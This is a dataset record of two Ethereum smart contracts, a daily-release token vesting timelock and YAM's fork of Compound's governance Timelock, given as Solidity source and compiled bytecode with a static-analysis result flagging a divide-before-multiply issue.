* @dev A token holder contract that will allow a beneficiary to withdraw the
* tokens after a given release time.
*/
contract UnsupervisedTimelock {
using SafeERC20 for IERC20;
// Seconds of a day
uint256 private constant SECONDS_OF_A_DAY = 86400;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// The start timestamp of token release period.
//
// Before this time, the beneficiary can NOT withdraw any token from this contract.
uint256 private immutable _releaseStartTime;
// The days that the timelock will last.
uint256 private immutable _daysOfTimelock;
// The OctToken contract
IERC20 private immutable _token;
// Total balance of benefit
uint256 private immutable _totalBenefit;
// The amount of withdrawed balance of the beneficiary.
//
// This value will be updated on each withdraw operation.
uint256 private _withdrawedBalance;
event BenefitWithdrawed(address indexed beneficiary, uint256 amount);
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseStartTime_,
uint256 daysOfTimelock_,
uint256 totalBenefit_
) {
_token = token_;
_beneficiary = beneficiary_;
_releaseStartTime =
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY);
require(
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY) +
daysOfTimelock_ *
SECONDS_OF_A_DAY >
block.timestamp,
"UnsupervisedTimelock: release end time is before current time"
);
_daysOfTimelock = daysOfTimelock_;
_totalBenefit = totalBenefit_;
_withdrawedBalance = 0;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary address
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the total balance of benefit
*/
function totalBenefit() public view returns (uint256) {
return _totalBenefit;
}
/**
* @return the balance to release for the beneficiary at the moment
*/
function releasedBalance() public view returns (uint256) {
if (block.timestamp <= _releaseStartTime) return 0;
if (
block.timestamp >
_releaseStartTime + SECONDS_OF_A_DAY * _daysOfTimelock
) {
return _totalBenefit;
}
uint256 passedDays = (block.timestamp - _releaseStartTime) /
SECONDS_OF_A_DAY;
return (_totalBenefit * passedDays) / _daysOfTimelock;
}
/**
* @return the unreleased balance of the beneficiary at the moment
*/
function unreleasedBalance() public view returns (uint256) {
return _totalBenefit - releasedBalance();
}
/**
* @return the withdrawed balance of beneficiary
*/
function withdrawedBalance() public view returns (uint256) {
return _withdrawedBalance;
}
/**
* @notice Withdraws tokens to beneficiary
*/
function withdraw() public {
uint256 balanceShouldBeReleased = releasedBalance();
require(
balanceShouldBeReleased > _withdrawedBalance,
"UnsupervisedTimelock: no more benefit can be withdrawed now"
);
uint256 balanceShouldBeTransfered = balanceShouldBeReleased -
_withdrawedBalance;
require(
token().balanceOf(address(this)) >= balanceShouldBeTransfered,
"UnsupervisedTimelock: deposited balance is not enough"
);
_withdrawedBalance = balanceShouldBeReleased;
token().safeTransfer(_beneficiary, balanceShouldBeTransfered);
emit BenefitWithdrawed(_beneficiary, balanceShouldBeTransfered);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806391eeab851161005b57806391eeab85146100c85780639ab4b22f146100e6578063f50c8e2d14610104578063fc0c546a146101225761007d565b806338af3eed146100825780633ccfd60b146100a05780636b37cc14146100aa575b600080fd5b61008a610140565b6040516100979190610a1c565b60405180910390f35b6100a8610168565b005b6100b2610366565b6040516100bf9190610b3d565b60405180910390f35b6100d06103a0565b6040516100dd9190610b3d565b60405180910390f35b6100ee6103a9565b6040516100fb9190610b3d565b60405180910390f35b61010c610500565b6040516101199190610b3d565b60405180910390f35b61012a610528565b6040516101379190610a60565b60405180910390f35b60007f00000000000000000000000089be7c171054640861e97756cf31ea383c77394d905090565b60006101726103a9565b905060005481116101b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101af90610a9d565b60405180910390fd5b60008054826101c79190610c6b565b9050806101d2610528565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161020a9190610a1c565b60206040518083038186803b15801561022257600080fd5b505afa158015610236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025a9190610896565b101561029b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029290610abd565b60405180910390fd5b816000819055506102f47f00000000000000000000000089be7c171054640861e97756cf31ea383c77394d826102cf610528565b73ffffffffffffffffffffffffffffffffffffffff166105509092919063ffffffff16565b7f00000000000000000000000089be7c171054640861e97756cf31ea383c77394d73ffffffffffffffffffffffffffffffffffffffff167f26b111a6f79cb1f14e797207bb7f2095963c467ca641399e15f7b2a02fb44cf98260405161035a9190610b3d565b60405180910390a25050565b60006103706103a9565b7f000000000000000000000000000000000000000000211654585005212800000061039b9190610c6b565b905090565b60008054905090565b60007f00000000000000000000000000000000000000000000000000000000612ec28042116103db57600090506104fd565b7f00000000000000000000000000000000000000000000000000000000000004486201518061040a9190610c11565b7f00000000000000000000000000000000000000000000000000000000612ec2806104359190610b8a565b421115610464577f000000000000000000000000000000000000000000211654585005212800000090506104fd565b6000620151807f00000000000000000000000000000000000000000000000000000000612ec280426104969190610c6b565b6104a09190610be0565b90507f0000000000000000000000000000000000000000000000000000000000000448817f00000000000000000000000000000000000000000021165458500521280000006104ef9190610c11565b6104f99190610be0565b9150505b90565b60007f0000000000000000000000000000000000000000002116545850052128000000905090565b60007f000000000000000000000000f5cfbc74057c610c8ef151a439252680ac68c6dc905090565b6105d18363a9059cbb60e01b848460405160240161056f929190610a37565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105d6565b505050565b6000610638826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661069d9092919063ffffffff16565b90506000815111156106985780806020019051810190610658919061086d565b610697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068e90610b1d565b60405180910390fd5b5b505050565b60606106ac84846000856106b5565b90509392505050565b6060824710156106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190610add565b60405180910390fd5b610703856107c9565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990610afd565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161076b9190610a05565b60006040518083038185875af1925050503d80600081146107a8576040519150601f19603f3d011682016040523d82523d6000602084013e6107ad565b606091505b50915091506107bd8282866107dc565b92505050949350505050565b600080823b905060008111915050919050565b606083156107ec5782905061083c565b6000835111156107ff5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108339190610a7b565b60405180910390fd5b9392505050565b60008151905061085281610f12565b92915050565b60008151905061086781610f29565b92915050565b60006020828403121561087f57600080fd5b600061088d84828501610843565b91505092915050565b6000602082840312156108a857600080fd5b60006108b684828501610858565b91505092915050565b6108c881610c9f565b82525050565b60006108d982610b58565b6108e38185610b6e565b93506108f3818560208601610d0b565b80840191505092915050565b61090881610ce7565b82525050565b600061091982610b63565b6109238185610b79565b9350610933818560208601610d0b565b61093c81610d9c565b840191505092915050565b6000610954603b83610b79565b915061095f82610dad565b604082019050919050565b6000610977603583610b79565b915061098282610dfc565b604082019050919050565b600061099a602683610b79565b91506109a582610e4b565b604082019050919050565b60006109bd601d83610b79565b91506109c882610e9a565b602082019050919050565b60006109e0602a83610b79565b91506109eb82610ec3565b604082019050919050565b6109ff81610cdd565b82525050565b6000610a1182846108ce565b915081905092915050565b6000602082019050610a3160008301846108bf565b92915050565b6000604082019050610a4c60008301856108bf565b610a5960208301846109f6565b9392505050565b6000602082019050610a7560008301846108ff565b92915050565b60006020820190508181036000830152610a95818461090e565b905092915050565b60006020820190508181036000830152610ab681610947565b9050919050565b60006020820190508181036000830152610ad68161096a565b9050919050565b60006020820190508181036000830152610af68161098d565b9050919050565b60006020820190508181036000830152610b16816109b0565b9050919050565b60006020820190508181036000830152610b36816109d3565b9050919050565b6000602082019050610b5260008301846109f6565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610b9582610cdd565b9150610ba083610cdd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610bd557610bd4610d3e565b5b828201905092915050565b6000610beb82610cdd565b9150610bf683610cdd565b925082610c0657610c05610d6d565b5b828204905092915050565b6000610c1c82610cdd565b9150610c2783610cdd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610c6057610c5f610d3e565b5b828202905092915050565b6000610c7682610cdd565b9150610c8183610cdd565b925082821015610c9457610c93610d3e565b5b828203905092915050565b6000610caa82610cbd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610cf282610cf9565b9050919050565b6000610d0482610cbd565b9050919050565b60005b83811015610d29578082015181840152602081019050610d0e565b83811115610d38576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f556e7375706572766973656454696d656c6f636b3a206e6f206d6f726520626560008201527f6e656669742063616e2062652077697468647261776564206e6f770000000000602082015250565b7f556e7375706572766973656454696d656c6f636b3a206465706f73697465642060008201527f62616c616e6365206973206e6f7420656e6f7567680000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610f1b81610cb1565b8114610f2657600080fd5b50565b610f3281610cdd565b8114610f3d57600080fd5b5056fea2646970667358221220d64301bb2e01bd50ccf6f1b3e32ab3dd016930675ceb384fec7a4cb0beb8076064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,089 |
0x27f1b56298f39152b13c7ba9bc155a24a34e3a8c
|
pragma solidity ^0.5.15;
/* Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// Original file came from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol
// Original audit: https://blog.openzeppelin.com/compound-finance-patch-audit/
// Overview:
// No Critical
// No High
//
// Changes made by YAM after audit:
// Formatting, naming, & uint256 instead of uint
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint256;
/// @notice An event emitted when the timelock admin changes
event NewAdmin(address indexed newAdmin);
/// @notice An event emitted when a new admin is staged in the timelock
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
/// @notice An event emitted when a queued transaction is cancelled
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
/// @notice An event emitted when a queued transaction is executed
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
/// @notice An event emitted when a new transaction is queued
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
/// @notice the length of time after the delay has passed that a transaction can be executed
uint256 public constant GRACE_PERIOD = 14 days;
/// @notice the minimum length of the timelock delay
uint256 public constant MINIMUM_DELAY = 12 hours;
/// @notice the maximum length of the timelock delay
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
bool public admin_initialized;
mapping(bytes32 => bool) public queuedTransactions;
constructor() public {
/* require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); */
admin = msg.sender;
delay = MINIMUM_DELAY;
admin_initialized = false;
}
function() external payable {}
/**
@notice sets the delay
@param delay_ the new delay
*/
function setDelay(uint256 delay_) public {
require(
msg.sender == address(this),
"Timelock::setDelay: Call must come from Timelock."
);
require(
delay_ >= MINIMUM_DELAY,
"Timelock::setDelay: Delay must exceed minimum delay."
);
require(
delay_ <= MAXIMUM_DELAY,
"Timelock::setDelay: Delay must not exceed maximum delay."
);
delay = delay_;
emit NewDelay(delay);
}
/// @notice sets the new admin address
function acceptAdmin() public {
require(
msg.sender == pendingAdmin,
"Timelock::acceptAdmin: Call must come from pendingAdmin."
);
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
/**
@notice queues a new pendingAdmin
@param pendingAdmin_ the new pendingAdmin address
*/
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(
msg.sender == address(this),
"Timelock::setPendingAdmin: Call must come from Timelock."
);
} else {
require(
msg.sender == admin,
"Timelock::setPendingAdmin: !init & !admin"
);
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(
msg.sender == admin,
"Timelock::queueTransaction: Call must come from admin."
);
require(
eta >= getBlockTimestamp().add(delay),
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(
msg.sender == admin,
"Timelock::cancelTransaction: Call must come from admin."
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(
msg.sender == admin,
"Timelock::executeTransaction: Call must come from admin."
);
// timelock not enforced prior to updating the admin. This should occur on
// deployment.
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
if (admin_initialized) {
require(
queuedTransactions[txHash],
"Timelock::executeTransaction: Transaction hasn't been queued."
);
require(
getBlockTimestamp() >= eta,
"Timelock::executeTransaction: Transaction hasn't surpassed time lock."
);
require(
getBlockTimestamp() <= eta.add(GRACE_PERIOD),
"Timelock::executeTransaction: Transaction is stale."
);
queuedTransactions[txHash] = false;
}
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(
bytes4(keccak256(bytes(signature))),
data
);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(
callData
);
require(
success,
"Timelock::executeTransaction: Transaction execution reverted."
);
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100dd5760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610621578063e177246e14610636578063f2b0653714610660578063f851a4401461068a576100dd565b80636fc1f57e146105ce5780637d645fab146105f7578063b1b43ae51461060c576100dd565b80633a66f901116100bb5780633a66f901146102da5780634dd18bf514610439578063591fcdfe1461046c5780636a42b8f8146105b9576100dd565b80630825f38f146100df5780630e18b6811461029457806326782247146102a9575b005b61021f600480360360a08110156100f557600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561012457600080fd5b82018360208201111561013657600080fd5b803590602001918460018302840111600160201b8311171561015757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101a957600080fd5b8201836020820111156101bb57600080fd5b803590602001918460018302840111600160201b831117156101dc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061069f915050565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610259578181015183820152602001610241565b50505050905090810190601f1680156102865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a057600080fd5b506100dd610bc9565b3480156102b557600080fd5b506102be610c65565b604080516001600160a01b039092168252519081900360200190f35b3480156102e657600080fd5b50610427600480360360a08110156102fd57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561032c57600080fd5b82018360208201111561033e57600080fd5b803590602001918460018302840111600160201b8311171561035f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103b157600080fd5b8201836020820111156103c357600080fd5b803590602001918460018302840111600160201b831117156103e457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c74915050565b60408051918252519081900360200190f35b34801561044557600080fd5b506100dd6004803603602081101561045c57600080fd5b50356001600160a01b0316610f85565b34801561047857600080fd5b506100dd600480360360a081101561048f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104be57600080fd5b8201836020820111156104d057600080fd5b803590602001918460018302840111600160201b831117156104f157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561054357600080fd5b82018360208201111561055557600080fd5b803590602001918460018302840111600160201b8311171561057657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061107a915050565b3480156105c557600080fd5b50610427611330565b3480156105da57600080fd5b506105e3611336565b604080519115158252519081900360200190f35b34801561060357600080fd5b5061042761133f565b34801561061857600080fd5b50610427611346565b34801561062d57600080fd5b5061042761134c565b34801561064257600080fd5b506100dd6004803603602081101561065957600080fd5b5035611353565b34801561066c57600080fd5b506105e36004803603602081101561068357600080fd5b5035611447565b34801561069657600080fd5b506102be61145c565b6000546060906001600160a01b031633146106eb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114d16038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561075a578181015183820152602001610742565b50505050905090810190601f1680156107875780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107ba5781810151838201526020016107a2565b50505050905090810190601f1680156107e75780820380516001836020036101000a031916815260200191505b5060408051601f19818403018152919052805160209091012060035490995060ff1615975061091a96505050505050505760008181526004602052604090205460ff166108655760405162461bcd60e51b815260040180806020018281038252603d815260200180611624603d913960400191505060405180910390fd5b8261086e61146b565b10156108ab5760405162461bcd60e51b81526004018080602001828103825260458152602001806115736045913960600191505060405180910390fd5b6108be836212750063ffffffff61146f16565b6108c661146b565b11156109035760405162461bcd60e51b81526004018080602001828103825260338152602001806115406033913960400191505060405180910390fd5b6000818152600460205260409020805460ff191690555b606085516000141561092d5750836109ba565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109825780518252601f199092019160209182019101610963565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109f95780518252601f1990920191602091820191016109da565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a5b576040519150601f19603f3d011682016040523d82523d6000602084013e610a60565b606091505b509150915081610aa15760405162461bcd60e51b815260040180806020018281038252603d815260200180611707603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b1e578181015183820152602001610b06565b50505050905090810190601f168015610b4b5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b7e578181015183820152602001610b66565b50505050905090810190601f168015610bab5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c125760405162461bcd60e51b81526004018080602001828103825260388152602001806116616038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610cbe5760405162461bcd60e51b81526004018080602001828103825260368152602001806116d16036913960400191505060405180910390fd5b610cd8600254610ccc61146b565b9063ffffffff61146f16565b821015610d165760405162461bcd60e51b81526004018080602001828103825260498152602001806117446049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d85578181015183820152602001610d6d565b50505050905090810190601f168015610db25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610de5578181015183820152602001610dcd565b50505050905090810190601f168015610e125780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610edd578181015183820152602001610ec5565b50505050905090810190601f168015610f0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f3d578181015183820152602001610f25565b50505050905090810190601f168015610f6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60035460ff1615610fd357333014610fce5760405162461bcd60e51b81526004018080602001828103825260388152602001806116996038913960400191505060405180910390fd5b61102a565b6000546001600160a01b0316331461101c5760405162461bcd60e51b81526004018080602001828103825260298152602001806117be6029913960400191505060405180910390fd5b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146110c35760405162461bcd60e51b81526004018080602001828103825260378152602001806115096037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561113257818101518382015260200161111a565b50505050905090810190601f16801561115f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561119257818101518382015260200161117a565b50505050905090810190601f1680156111bf5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561128a578181015183820152602001611272565b50505050905090810190601f1680156112b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112ea5781810151838201526020016112d2565b50505050905090810190601f1680156113175780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b62278d0081565b61a8c081565b6212750081565b3330146113915760405162461bcd60e51b815260040180806020018281038252603181526020018061178d6031913960400191505060405180910390fd5b61a8c08110156113d25760405162461bcd60e51b81526004018080602001828103825260348152602001806115b86034913960400191505060405180910390fd5b62278d008111156114145760405162461bcd60e51b81526004018080602001828103825260388152602001806115ec6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b6000828201838110156114c9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a204573